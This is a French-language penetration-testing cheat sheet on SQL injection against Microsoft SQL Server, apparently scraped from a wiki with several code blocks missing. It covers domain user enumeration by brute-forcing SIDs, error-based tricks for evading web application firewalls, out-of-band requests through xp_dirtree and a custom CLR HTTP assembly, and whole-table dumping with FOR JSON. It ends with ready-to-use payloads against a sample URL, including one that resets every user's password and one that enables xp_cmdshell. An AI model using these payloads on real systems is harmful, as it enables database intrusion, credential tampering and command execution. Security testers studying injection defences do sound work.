MSSQL Injection
Injection MSSQL
Énumération de l'annuaire Active Directory
Il peut être possible de énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL en utilisant les fonctions MSSQL suivantes :
SELECT DEFAULT_DOMAIN()
: Obtenir le nom de domaine actuel.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Si vous connaissez le nom du domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrateur au format hexadécimal. Cela ressemblera à0x01050000000[...]0000f401
, notez comment les 4 derniers octets sont le nombre 500 au format big endian, qui est l'ID commun de l'utilisateur administrateur. Cette fonction vous permettra de connaître l'ID du domaine (tous les octets sauf les 4 derniers).SUSER_SNAME(0x01050000000[...]0000e803)
: Cette fonction renverra le nom d'utilisateur de l'ID indiqué (le cas échéant), dans ce cas 0000e803 en big endian == 1000 (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez effectuer une attaque par force brute sur les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme celle-ci :
Vecteurs basés sur les erreurs alternatifs
Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que +AND+1=@@version--
et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAFs. Pour contourner cela, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonction spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.
Quelques exemples de telles fonctions :
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Exemple d'utilisation de la fonction USER_NAME()
:
SSRF
Ces astuces SSRF ont été prises ici
fn_xe_file_target_read_file
fn_xe_file_target_read_file
Il nécessite l'autorisation VIEW SERVER STATE
sur le serveur.
fn_get_audit_file
fn_get_audit_file
Il nécessite l'autorisation CONTROL SERVER
.
fn_trace_gettabe
fn_trace_gettabe
Il nécessite l'autorisation CONTROL SERVER
.
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
, xp_fileexists
, xp_subdirs
Les procédures stockées telles que xp_dirtree
, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers exemples et articles.
La procédure stockée xp_dirtree
, par exemple, est utilisée pour effectuer des requêtes réseau, mais elle est limitée au seul port TCP 445. Le numéro de port n'est pas modifiable, mais elle permet de lire à partir de partages réseau. L'utilisation est démontrée dans le script SQL ci-dessous:
Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations système, telles que sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
s'exécutant sur un Windows Server 2016 Datacenter
avec les paramètres par défaut.
De plus, il existe des procédures stockées alternatives telles que master..xp_fileexist
et xp_subdirs
qui peuvent atteindre des résultats similaires. Des détails supplémentaires sur xp_fileexist
peuvent être trouvés dans cet article TechNet.
xp_cmdshell
xp_cmdshell
De toute évidence, vous pourriez également utiliser xp_cmdshell
pour exécuter quelque chose qui déclenche un SSRF. Pour plus d'informations, consultez la section pertinente sur la page :
Fonction définie par l'utilisateur MSSQL - SQLHttp
La création d'une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé dans une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accès dbo
. Cela signifie que cela est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que sa
ou avec un rôle d'administrateur.
Un projet Visual Studio et des instructions d'installation sont fournis dans ce dépôt Github pour faciliter le chargement du binaire dans MSSQL en tant qu'assembly CLR, permettant ainsi l'exécution de requêtes HTTP GET depuis MSSQL.
Le cœur de cette fonctionnalité est encapsulé dans le fichier http.cs
, qui utilise la classe WebClient
pour exécuter une requête GET et récupérer le contenu comme illustré ci-dessous:
Avant d'exécuter la commande SQL CREATE ASSEMBLY
, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance du serveur (visible via select * from sys.trusted_assemblies;
):
Après avoir ajouté avec succès l'assembly et créé la fonction, le code SQL suivant peut être utilisé pour effectuer des requêtes HTTP :
Exploitation Rapide: Récupération du Contenu Complet de la Table en une Seule Requête
Une méthode concise pour extraire le contenu complet d'une table en une seule requête consiste à utiliser la clause FOR JSON
. Cette approche est plus succincte que l'utilisation de la clause FOR XML
, qui nécessite un mode spécifique comme "raw". La clause FOR JSON
est préférée pour sa concision.
Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle:
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Utilisation de l'injection SQL MSSQL basée sur l'opérateur UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Ajout d'un exec() inutile à la fin et faire croire au WAF que ce n'est pas une requête valide
admina'union select 1,'admin','testtest123'exec('select 1')--
Cela deviendra :
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'
Utilisation de requêtes étrangement construites
admin'exec('update[users]set[password]=''a''')--
Cela deviendra :
SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'
Ou en activant xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Cela deviendra :
select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Last updated